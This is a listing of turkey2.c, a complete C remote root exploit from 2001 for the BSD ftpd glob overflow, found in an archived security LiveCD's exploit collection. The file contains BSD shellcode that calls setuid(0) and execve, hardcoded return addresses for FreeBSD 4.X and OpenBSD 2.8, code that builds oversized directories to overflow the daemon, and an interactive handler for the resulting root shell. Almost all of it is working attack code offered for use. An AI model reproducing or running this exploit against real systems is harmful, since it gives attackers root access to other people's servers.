home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / ftp / ftpd / turkey.c < prev   
C/C++ Source or Header  |  2005-02-12  |  17KB  |  851 lines

  1. /* 
  2.  * turkey2.c - "gobble gobble"
  3.  *
  4.  * REMOTE ROOT EXPLOIT FOR BSD FTPD
  5.  *   by: fish stiqz <fish@analog.org>   04/14/2001
  6.  *
  7.  * shouts: trey, dono, hampton and The Analog Organization.
  8.  *         
  9.  * Notes:
  10.  *  Doesn't break chroot so requires an account.
  11.  * 
  12.  *  Fixed a design issue I had previously overlooked.
  13.  *  Added support for OpenBSD 2.8 =).
  14.  *
  15.  */
  16.  
  17. #include <sys/types.h>
  18. #include <sys/socket.h>
  19. #include <netdb.h>
  20. #include <netinet/in.h>
  21. #include <arpa/inet.h>
  22. #include <unistd.h>
  23. #include <stdio.h>
  24. #include <stdlib.h>
  25. #include <string.h>
  26. #include <errno.h>
  27. #include <time.h>
  28. #include <ctype.h>
  29. #include <pwd.h>
  30.  
  31.  
  32. #define FTP_PORT 21
  33. #define MAXX(a,b) ((a) < (b) ? (b) : (a))
  34.  
  35. #define NOP 0x41 /* inc %ecx, works just like a nop, easier to read */
  36.  
  37. extern int errno;
  38.  
  39. int debug_read;
  40. int debug_write;
  41.  
  42.  
  43. /*
  44.  * Non-ripped 45 byte bsd shellcode which does setuid(0) and execve()
  45.  * and does not contain any '/' characters. 
  46.  */
  47. char bsdcode[] = 
  48. "\x29\xc0\x50\xb0\x17\x50\xcd\x80"
  49. "\x29\xc0\x50\xbf\x66\x69\x73\x68"
  50. "\x29\xf6\x66\xbe\x49\x46\x31\xfe"
  51. "\x56\xbe\x49\x0b\x1a\x06\x31\xfe"
  52. "\x56\x89\xe3\x50\x54\x50\x54\x53"
  53. "\xb0\x3b\x50\xcd\x80";
  54.  
  55.  
  56. /* architecture structure */
  57. struct arch {
  58.     char *description;
  59.     char *shellcode;
  60.     unsigned long code_addr;
  61. };
  62.  
  63.  
  64. /* available targets */
  65. struct arch archlist[] = 
  66. {
  67.     { "FreeBSD 4.X (FTP server (Version 6.00LS))", bsdcode, 0xbfbfc2c8 },
  68.     { "OpenBSD 2.8 (FTP server (Version 6.5/OpenBSD))", bsdcode, 0xdfbfa1c8 }
  69. };
  70.  
  71.  
  72. /*
  73.  * function prototypes.
  74.  */
  75. void *Malloc(size_t);
  76. void *Realloc(void *, size_t);
  77. char *Strdup(char *);
  78. int get_ip(struct in_addr *, char *);
  79. int tcp_connect(char *, unsigned int);
  80. ssize_t write_sock(int, char *);
  81. int sock_readline(int, char *, int);
  82. char *read_sock(int);
  83. int ftp_login(int, char *, char *);
  84. char *ftp_gethomedir(int);
  85. int ftp_mkdir(int, char *);
  86. int ftp_chdir(int, char *);
  87. int ftp_quit(int);
  88. void possibly_rooted(int);
  89. char *random_string(void);
  90. void send_glob(int, char *);
  91. int ftp_glob_exploit(int, char *, unsigned long, char *);
  92. int verify_shellcode(char *);
  93. void usage(char *);
  94. void list_targets(void);
  95.  
  96.  
  97. /* 
  98.  * Error cheq'n wrapper for malloc.
  99.  */
  100. void *Malloc(size_t n)
  101. {
  102.     void *tmp;
  103.     
  104.     if((tmp = malloc(n)) == NULL)
  105.     {
  106.         fprintf(stderr, "malloc(%u) failed! exiting...\n", n);
  107.         exit(EXIT_FAILURE);
  108.     }
  109.  
  110.     return tmp;
  111. }
  112.  
  113.  
  114. /*
  115.  * Error cheq'n realloc.
  116.  */
  117. void *Realloc(void *ptr, size_t n)
  118. {
  119.     void *tmp;
  120.     
  121.     if((tmp = realloc(ptr, n)) == NULL)
  122.     {
  123.         fprintf(stderr, "realloc(%u) failed! exiting...\n", n);
  124.         exit(EXIT_FAILURE);
  125.     }
  126.  
  127.     return tmp;
  128. }
  129.  
  130.  
  131. /* 
  132.  * Error cheq'n strdup.
  133.  */
  134. char *Strdup(char *str)
  135. {
  136.     char *s;
  137.  
  138.     if((s = strdup(str)) == NULL)
  139.     {
  140.         fprintf(stderr, "strdup failed! exiting...\n");
  141.         exit(EXIT_FAILURE);
  142.     }
  143.     
  144.     return s;
  145. }
  146.  
  147.  
  148. /*
  149.  * translates a host from its string representation (either in numbers 
  150.  * and dots notation or hostname format) into its binary ip address
  151.  * and stores it in the in_addr struct passed in.
  152.  *
  153.  * return values: 0 on success, != 0 on failure.
  154.  */
  155. int get_ip(struct in_addr *iaddr, char *host)
  156. {
  157.     struct hostent *hp;
  158.     
  159.     /* first check to see if its in num-dot format */
  160.     if(inet_aton(host, iaddr) != 0)
  161.     return 0;
  162.  
  163.     /* next, do a gethostbyname */
  164.     if((hp = gethostbyname(host)) != NULL)
  165.     {
  166.     if(hp->h_addr_list != NULL)
  167.     {
  168.         memcpy(&iaddr->s_addr, *hp->h_addr_list, sizeof(iaddr->s_addr));
  169.         return 0;
  170.     }
  171.     return -1;
  172.     }
  173.  
  174.     return -1;
  175. }
  176.  
  177.  
  178. /*
  179.  * initiates a tcp connection to the specified host (either in 
  180.  * ip format (xxx.xxx.xxx.xxx) or as a hostname (microsoft.com)
  181.  * to the host's tcp port.
  182.  *
  183.  * return values:  != -1 on success, -1 on failure.
  184.  */
  185. int tcp_connect(char *host, unsigned int port)
  186. {
  187.     int sock;
  188.     struct sockaddr_in saddress;
  189.     struct in_addr *iaddr;
  190.  
  191.     iaddr = Malloc(sizeof(struct in_addr));
  192.  
  193.     /* write the hostname information into the in_addr structure */
  194.     if(get_ip(iaddr, host) != 0)
  195.     return -1;
  196.  
  197.     saddress.sin_addr.s_addr = iaddr->s_addr;
  198.     saddress.sin_family      = AF_INET;
  199.     saddress.sin_port        = htons(port);
  200.         
  201.     /* create the socket */
  202.     if((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1)
  203.     return -1;
  204.     
  205.     /* make the connection */
  206.     if(connect(sock, (struct sockaddr *) &saddress, sizeof(saddress)) != 0)
  207.     {
  208.     close(sock);
  209.     return -1;
  210.     }
  211.    
  212.     /* everything succeeded, return the connected socket */
  213.     return sock;
  214. }
  215.  
  216.  
  217. /*
  218.  * a wrapper for write to enable us to do some debugging.
  219.  */
  220. int write_sock(int fd, char *buf)
  221. {
  222.     if(debug_write)
  223.      printf(" > %s", buf);
  224.  
  225.     return write(fd, buf, strlen(buf));
  226. }
  227.  
  228. /*
  229.  * reads a line from the socket, stores it into buffer,
  230.  * doesnt null terminate.
  231.  */
  232. int sock_readline(int sock, char *buffer, int maxsize) 
  233. {
  234.     int x, r;
  235.     char rchar;
  236.     
  237.     for(x = 0; x < maxsize; x++) 
  238.     {
  239.     /* read in one character from the socket */
  240.     if((r = read(sock, &rchar, 1)) == 1)
  241.     {
  242.         buffer[x] = rchar;
  243.         
  244.         if(rchar == '\n') 
  245.         break;
  246.     }
  247.     else 
  248.         return -1;
  249.     } 
  250.  
  251.     return x;  
  252. }
  253.  
  254. /*
  255.  * reads in an entire message from the ftp server.
  256.  */
  257. char *read_sock(int sock)
  258. {
  259.     char ibuf[8192], *bigbuf = NULL;
  260.     int r;
  261.     unsigned int total = 0;
  262.  
  263.     for(;;)
  264.     {
  265.     memset(ibuf, 0x0, sizeof(ibuf));
  266.     r = sock_readline(sock, ibuf, sizeof(ibuf) - 1);
  267.     
  268.     bigbuf = Realloc(bigbuf, (total + strlen(ibuf) + 1) * sizeof(char));
  269.     memcpy(bigbuf + total, ibuf, strlen(ibuf));
  270.     bigbuf[total + strlen(ibuf)] = 0x0;
  271.     total += strlen(ibuf);
  272.  
  273.     if(strlen(ibuf) < 4)
  274.         break;
  275.  
  276.     /* multi-lined responses have a dash as the 4th character */
  277.     if(ibuf[3] != '-')
  278.         break;
  279.     }
  280.    
  281.     if(debug_read)
  282.     {
  283.     printf(" < %s", bigbuf);
  284.     fflush(stdout);
  285.     }
  286.  
  287.     return bigbuf;
  288.     
  289. }
  290.  
  291.  
  292. /*
  293.  * FTP LOGIN function.  Issues a "USER <username> and then "PASS <password>"
  294.  * to login to the remote host and checks that command succeeded.
  295.  */
  296. int ftp_login(int sock, char *username, char *password)
  297. {
  298.     char *recvbuf;
  299.     char *sendbuf;
  300.     char *header;
  301.  
  302.     header = read_sock(sock);
  303.     printf("\tserver runs:\t%s", header);
  304.     free(header);
  305.     
  306.     sendbuf = Malloc((MAXX(strlen(username), strlen(password)) + 7) * 
  307.              sizeof(char));
  308.  
  309.     sprintf(sendbuf, "USER %s\n", username);
  310.     
  311.     write_sock(sock, sendbuf);
  312.     recvbuf = read_sock(sock);
  313.  
  314.     if(atoi(recvbuf) != 331)
  315.     {
  316.     free(recvbuf);
  317.     return 0;
  318.     }
  319.  
  320.     sprintf(sendbuf, "PASS %s\n", password);
  321.     write_sock(sock, sendbuf);
  322.     recvbuf = read_sock(sock);
  323.  
  324.     if(atoi(recvbuf) != 230)
  325.     {
  326.     free(recvbuf);
  327.     return 0;
  328.     }
  329.     
  330.     free(sendbuf);
  331.     return 1;
  332.    
  333. }
  334.  
  335.  
  336. /* 
  337.  * FTP GET HOME DIR function.  Issues a "CWD ~" and "PWD" to 
  338.  * force the ftp daemon to print our our current directory.
  339.  */
  340. char *ftp_gethomedir(int sock)
  341. {
  342.     char *recvbuf;
  343.     char *homedir = NULL;
  344.   
  345.     write_sock(sock, "CWD ~\n");
  346.     recvbuf = read_sock(sock);
  347.  
  348.     if(atoi(recvbuf) == 250)
  349.     {
  350.     write_sock(sock, "PWD\n");
  351.     recvbuf = read_sock(sock);
  352.  
  353.     if(atoi(recvbuf) == 257)
  354.     {
  355.         char *front, *back;
  356.  
  357.         front = strchr(recvbuf, '"');
  358.         front++;
  359.         back = strchr(front, '"');
  360.         
  361.         homedir = Malloc((back - front) * sizeof(char));
  362.         strncpy(homedir, front, (back - front));
  363.         homedir[(back - front)] = 0x0;
  364.     }
  365.     }
  366.  
  367.     free(recvbuf);
  368.     return homedir;
  369. }
  370.  
  371.  
  372. /*
  373.  * FTP MKDIR function.  Issues an "MKD <dirname>" to create a directory on
  374.  * the remote host and checks that the command succeeded.
  375.  */
  376. int ftp_mkdir(int sock, char *dirname)
  377. {
  378.     char *recvbuf;
  379.     char *sendbuf;
  380.   
  381.     sendbuf = Malloc((strlen(dirname) + 6) * sizeof(char));
  382.     sprintf(sendbuf, "MKD %s\n", dirname);
  383.  
  384.     write_sock(sock, sendbuf);
  385.     recvbuf = read_sock(sock);
  386.     
  387.     free(sendbuf);
  388.  
  389.     if(atoi(recvbuf) == 257)
  390.     {
  391.     free(recvbuf);
  392.     return 1;
  393.     }
  394.     
  395.     free(recvbuf);
  396.     return 0;
  397. }
  398.  
  399.  
  400. /*
  401.  * FTP CWD function.  Issues a "CWD <dirname>" to change directory on
  402.  * the remote host and checks that the command succeeded.
  403.  */
  404. int ftp_chdir(int sock, char *dirname)
  405. {
  406.     char *recvbuf;
  407.     char *sendbuf;
  408.   
  409.     sendbuf = Malloc((strlen(dirname) + 6) * sizeof(char));
  410.     sprintf(sendbuf, "CWD %s\n", dirname);
  411.     
  412.     write_sock(sock, sendbuf);
  413.     recvbuf = read_sock(sock);
  414.     
  415.     free(sendbuf);
  416.  
  417.     if(atoi(recvbuf) == 250)
  418.     {
  419.     free(recvbuf);
  420.     return 1;
  421.     }
  422.  
  423.     free(recvbuf);
  424.     return 0;
  425. }
  426.     
  427.  
  428. /*
  429.  * FTP QUIT function.  Issues a "QUIT" to terminate the connection.
  430.  */
  431. int ftp_quit(int sock)
  432. {
  433.     char *recvbuf;
  434.    
  435.     write_sock(sock, "QUIT\n");
  436.     recvbuf = read_sock(sock);
  437.     free(recvbuf);
  438.       
  439.     close(sock);
  440.     return 1;
  441. }
  442.  
  443. /*
  444.  * switches between the user and the remote shell (if everything went well).
  445.  */
  446. void possibly_rooted(int sock)
  447. {
  448.     char banner[] = 
  449.     "cd /; echo; uname -a; echo; id; echo; echo Welcome to the shell, "
  450.     "enter commands at will; echo;\n\n";
  451.     
  452.     char buf[1024];
  453.     fd_set fds;
  454.     int r;
  455.  
  456.     write(sock, banner, strlen(banner));
  457.  
  458.     for(;;)
  459.     {
  460.         FD_ZERO(&fds);
  461.         FD_SET(fileno(stdin), &fds);
  462.         FD_SET(sock, &fds);
  463.         select(255, &fds, NULL, NULL, NULL);
  464.  
  465.         if(FD_ISSET(sock, &fds))
  466.         {
  467.             memset(buf, 0x0, sizeof(buf));
  468.             r = read (sock, buf, sizeof(buf) - 1);
  469.             if(r <= 0)
  470.             {
  471.                 printf("Connection closed.\n");
  472.                 exit(EXIT_SUCCESS);
  473.             }
  474.             printf("%s", buf);
  475.         }
  476.  
  477.         if(FD_ISSET(fileno(stdin), &fds))
  478.         {
  479.             memset(buf, 0x0, sizeof(buf));
  480.             read(fileno(stdin), buf, sizeof(buf) - 1);
  481.             write(sock, buf, strlen(buf));
  482.         }
  483.     }
  484.     close(sock);
  485. }
  486.  
  487.  
  488. /*
  489.  * generates a string of 6 random characters.
  490.  * this is too allow for multiple successful runs, best way to do
  491.  * this is to actually remove the created directories.
  492.  */
  493. char *random_string(void)
  494. {
  495.     int i;
  496.     char *s = Malloc(7 * sizeof(char));
  497.  
  498.     srand(time(NULL));
  499.     for(i = 0; i < 6; i++)
  500.         s[i] = (rand() % (122 - 97)) + 97;
  501.     
  502.     s[i] = 0x0;
  503.     return s;
  504. }
  505.  
  506.  
  507. /*
  508.  * sends the glob string, to overflow the daemon.
  509.  */
  510. void send_glob(int sock, char *front)
  511. {
  512.     char globbed[] = "CWD ~/NNNNNN*/X*/X*/X*\n";
  513.     int i, j;
  514.     
  515.     for(i = 6, j = 0; i < 6 + 6; i++, j++)
  516.     globbed[i] = front[j];
  517.     
  518.     write_sock(sock, globbed);
  519.     
  520.     printf("[5] Globbed commands sent.\n");
  521.     free(front);
  522.  
  523.     /* start our shell handler */
  524.     possibly_rooted(sock);
  525. }
  526.  
  527.  
  528. /*
  529.  * Exploitation routine.
  530.  * Makes 4 large directories and then cwd's to them.
  531.  */
  532. int ftp_glob_exploit(int sock, char *homedir, unsigned long addy, char *shellcode)
  533. {
  534.     char dir[300];
  535.     int i = 0, j = 0;
  536.     int total = strlen(homedir) + 1;
  537.     int align;
  538.     char *rstring = random_string();
  539.  
  540.     /* go to the writeable directory */
  541.     if(!ftp_chdir(sock, homedir))
  542.     {
  543.     fprintf(stderr, "[-] Failed to change directory, aborting!\n");
  544.     return 0;
  545.     }
  546.  
  547.     for(i = 0; i < 4; i++)
  548.     {
  549.     memset(dir, 0x0, sizeof(dir));
  550.  
  551.     switch(i)
  552.     {
  553.     case 0: /* first dir == shellcode */
  554.         memcpy(dir, rstring, strlen(rstring));
  555.         memset(dir + strlen(rstring), NOP, 255 - strlen(rstring));
  556.         memcpy(&dir[(255 - strlen(shellcode))], shellcode, strlen(shellcode));
  557.         break;
  558.  
  559.     case 3: /* address buffer */
  560.         /* calculate the alignment */
  561.         align = total % sizeof(long);
  562.         align = sizeof(long) - align;
  563.  
  564.         printf("[3] Calculated alignment = %d, total = %d\n", 
  565.            align, total);
  566.  
  567.         strcpy(dir, "XXXX");
  568.         memset(dir + 4, 'X', align);
  569.        
  570.         for(j = 4 + align; j < 250; j += 4)
  571.         {
  572.         /* leet portable bit shifting */
  573.         /*   brought to you by trey   */
  574.         unsigned long p_addy = htonl(addy);
  575.         dir[j + 0] = p_addy & 0xff;
  576.         dir[j + 1] = (p_addy & 0xff00) >> 8;
  577.         dir[j + 2] = (p_addy & 0xff0000) >> 16;
  578.         dir[j + 3] = (p_addy & 0xff000000) >> 24;
  579.         }
  580.         break;
  581.     
  582.     default: /* cases 1 and 2, extra overflow bytes */
  583.         memset(dir, 'X', 255);
  584.         break;
  585.  
  586.     }
  587.  
  588.     total += strlen(dir) + 1;
  589.  
  590.     if(!ftp_mkdir(sock, dir))
  591.     {
  592.         fprintf(stderr, "[-] Failed to generate directories, aborting!\n");
  593.         return 0;
  594.     }
  595.     
  596.     if(!ftp_chdir(sock, dir))
  597.     {
  598.         fprintf(stderr, "[-] Failed to change directory, aborting!\n");
  599.         return 0;
  600.     }
  601.     }
  602.  
  603.     printf("[4] Evil directories created.\n");
  604.     
  605.     if(!ftp_chdir(sock, homedir))
  606.     {
  607.     fprintf(stderr, "[-] Failed to cwd back to %s, aborting!\n", homedir);
  608.     return 0;
  609.     }
  610.     
  611.     /* perform the final attack */
  612.     send_glob(sock, rstring);
  613.     
  614.     return 1;
  615. }
  616.  
  617.  
  618. /*
  619.  * returns true if the shellcode passes, false otherwise.
  620.  */
  621. int verify_shellcode(char *code)
  622. {
  623.     int i, s = 0;
  624.  
  625.     if(strlen(code) > 255)
  626.     {
  627.     fprintf(stderr, "[-] Shellcode length exceeds 255, aborting!\n");
  628.     return 0;
  629.     }
  630.     
  631.     for(i = 0; i < strlen(code); i++)
  632.     {
  633.     if(code[i] == '/')
  634.         s++;
  635.     }
  636.  
  637.     if(s > 0)
  638.     {
  639.     fprintf(stderr, 
  640.         "[-] Shellcode contains %u slash characters, aborting\n", s);
  641.     return 0;
  642.     }
  643.     
  644.     return 1;
  645. }
  646.  
  647.  
  648. /*
  649.  * displays the usage message and exits.
  650.  */
  651. void usage(char *p)
  652. {
  653.     fprintf(stderr, 
  654.         "BSD ftpd remote exploit by fish stiqz <fish@analog.org>\n"
  655.         "usage: %s [options]\n"
  656.         "\t-c\tremote host to connect to\n"
  657.         "\t-o\tremote port to use\n"
  658.         "\t-u\tremote username\n"
  659.         "\t-p\tremote password\n"
  660.         "\t-i\tget the password interactively\n"
  661.         "\t-t\tpredefined target (\"-t list\" to list all targets)\n"
  662.         "\t-d\twriteable directory\n"
  663.         "\t-l\tshellcode address\n"
  664.         "\t-v\tdebug level [0-2]\n"
  665.         "\t-s\tseconds to sleep after login (debugging purposes)\n"
  666.         "\t-h\tdisplay this help\n", p);
  667.     
  668.     exit(EXIT_FAILURE);
  669. }
  670.  
  671. /* 
  672.  * lists all available targets.
  673.  */
  674. void list_targets(void)
  675. {
  676.     int i;
  677.     
  678.     printf("Available Targets:\n");
  679.  
  680.     for(i = 0; i < sizeof(archlist) / sizeof(struct arch); i++ ) 
  681.         printf("%i: %s\n", i, archlist[i].description);
  682.     
  683.     return;
  684. }
  685.  
  686.  
  687. int main(int argc, char **argv)
  688. {
  689.     int sock, c; 
  690.     int port       = FTP_PORT;
  691.     int debuglevel = 0;
  692.     char *host     = NULL;
  693.     char *username = NULL;
  694.     char *password = NULL;
  695.     
  696.     struct arch *arch       = NULL;
  697.     char *shellcode         = bsdcode;
  698.     int target              = 0;
  699.     int sleep_time          = 0;
  700.     unsigned long code_addr = 0;
  701.     char *homedir           = NULL;;
  702.     
  703.     /* grab command line parameters */
  704.     while((c = getopt(argc, argv, "c:o:u:p:it:d:l:v:s:h")) != EOF)
  705.     {
  706.     switch(c)
  707.     {
  708.     case 'c':
  709.         host = Strdup(optarg);
  710.         break;
  711.  
  712.     case 'o':
  713.         port = atoi(optarg);
  714.         break;
  715.         
  716.     case 'u':
  717.         username = Strdup(optarg);
  718.         break;
  719.         
  720.     case 'p':
  721.         password = Strdup(optarg);
  722.         /* hide the password from ps */
  723.         memset(optarg, 'X', strlen(optarg));
  724.         break;
  725.  
  726.     case 'i':
  727.         password = getpass("Enter remote password: ");
  728.         break;
  729.  
  730.     case 't':
  731.         if(strcmp(optarg, "list") == 0)
  732.         {
  733.         list_targets();
  734.         return EXIT_FAILURE;
  735.         }
  736.         
  737.         target = atoi(optarg);
  738.         arch = &(archlist[target]);
  739.         code_addr = ntohl(arch->code_addr);
  740.         shellcode = arch->shellcode;
  741.         break;
  742.  
  743.     case 'd':
  744.         homedir = Strdup(optarg);
  745.         break;
  746.  
  747.     case 'l':
  748.         code_addr = ntohl(strtoul(optarg, NULL, 0));
  749.         break;
  750.  
  751.     case 'v':
  752.         debuglevel = atoi(optarg);
  753.         break;
  754.  
  755.     case 's':
  756.         sleep_time = atoi(optarg);
  757.         break;
  758.  
  759.     default:
  760.         usage(argv[0]);
  761.         break;
  762.     }
  763.     }
  764.  
  765.  
  766.     /* check for required options */
  767.     if(host == NULL || username == NULL || password == NULL || code_addr == 0)
  768.     usage(argv[0]);
  769.  
  770.     /* setup the debug level */
  771.     switch(debuglevel)
  772.     {
  773.     case 1:
  774.     debug_read = 1;
  775.     debug_write = 0;
  776.     break;
  777.  
  778.     case 2:
  779.     debug_read = 1;
  780.     debug_write = 1;
  781.     break;
  782.     
  783.     default:
  784.     debug_read = 0;
  785.     debug_write = 0;
  786.     break;
  787.     }
  788.  
  789.     /* make sure the shellcode is good */
  790.     if(!verify_shellcode(shellcode))
  791.     return EXIT_FAILURE;
  792.     
  793.     /* initiate the tcp connection to the ftp server */
  794.     if((sock = tcp_connect(host, port)) == -1)
  795.     {
  796.     fprintf(stderr, "[-] Connection to %s failed!\n", host);
  797.     ftp_quit(sock);
  798.     return EXIT_FAILURE;
  799.     }
  800.  
  801.     if(arch == NULL)
  802.     printf("[0] Connected to host %s.\n", host);
  803.     else
  804.     printf("[0] Connected to host %s\n\tusing type:\t%s.\n", 
  805.            host, arch->description);
  806.  
  807.  
  808.     /* login */
  809.     if(!ftp_login(sock, username, password))
  810.     {
  811.     fprintf(stderr, "[-] Login failed, aborting!\n");
  812.     ftp_quit(sock);
  813.     return EXIT_FAILURE;
  814.     }
  815.  
  816.     /* hey, so im anal! */
  817.     memset(password, 'X', strlen(password));
  818.     memset(username, 'X', strlen(username));    
  819.  
  820.     printf("[1] Login succeeded.\n");
  821.  
  822.     if(sleep != 0)
  823.     sleep(sleep_time);
  824.  
  825.     if(homedir == NULL)
  826.     {
  827.     /* get home directory */
  828.     if((homedir = ftp_gethomedir(sock)) == NULL)
  829.     {
  830.         fprintf(stderr, "[-] Couldn't retrieve home directory, aborting!\n");
  831.         ftp_quit(sock);
  832.         return EXIT_FAILURE;
  833.     }
  834.     }
  835.     
  836.     printf("[2] Home directory retrieved as \"%s\", %u bytes.\n", 
  837.        homedir, strlen(homedir));
  838.  
  839.     /* do the exploitation */
  840.     if(!ftp_glob_exploit(sock, homedir, code_addr, shellcode))
  841.     {
  842.     fprintf(stderr, "[-] exploit failed, aborting!\n");
  843.     ftp_quit(sock);
  844.     return EXIT_FAILURE;
  845.     }
  846.     
  847.       
  848.     free(host);
  849.     return EXIT_SUCCESS;
  850. }
  851.